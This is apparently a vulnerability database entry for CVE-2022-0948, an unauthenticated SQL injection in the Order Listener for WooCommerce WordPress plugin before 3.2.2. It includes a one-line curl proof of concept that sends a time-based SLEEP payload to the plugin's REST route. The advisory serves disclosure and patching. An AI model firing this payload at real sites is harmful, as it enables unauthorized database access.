Lucene search
CydaveWPVDB-ID:DAAD48DF-6A25-493F-9D1D-17B897462576HistoryApr 12, 2022 - 12:00 a.m.
Order Listener for WooCommerce < 3.2.2 - Unauthenticated SQLi
2022-04-1200:00:00
cydave
wpscan.com
14
0.041 Low
EPSS
Percentile
92.2%
The plugin does not sanitise and escape the id parameter before using it in a SQL statement via a REST route available to unauthenticated users, leading to an SQL injection
PoC
curl ‘http://example.com/?rest_route=/olistener/new’ --data ‘{“id”:" (SELECT SLEEP(3))#"}’ -H ‘content-type: application/json’
| CPE | Name | Operator | Version |
|---|---|---|---|
| woc-order-alert | lt | 3.2.2 |
Related
patchstack
patchstack
nvd
nvd
CVE-2022-0948
2022-05-09 17:15:08
cnvd
cnvd
WordPress Order Listener for WooCommerce plugin SQL injection vulnerability
2022-05-10 00:00:00
wpexploit
wpexploit
Order Listener for WooCommerce < 3.2.2 - Unauthenticated SQLi
2022-04-12 00:00:00
nuclei
nuclei
WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
2022-12-03 11:04:00
prion
prion
Sql injection
2022-05-09 17:15:00
cvelist
cvelist
CVE-2022-0948 Order Listener for WooCommerce < 3.2.2 - Unauthenticated SQLi
2022-05-09 16:50:41
cve
cve
CVE-2022-0948
2022-05-09 17:15:08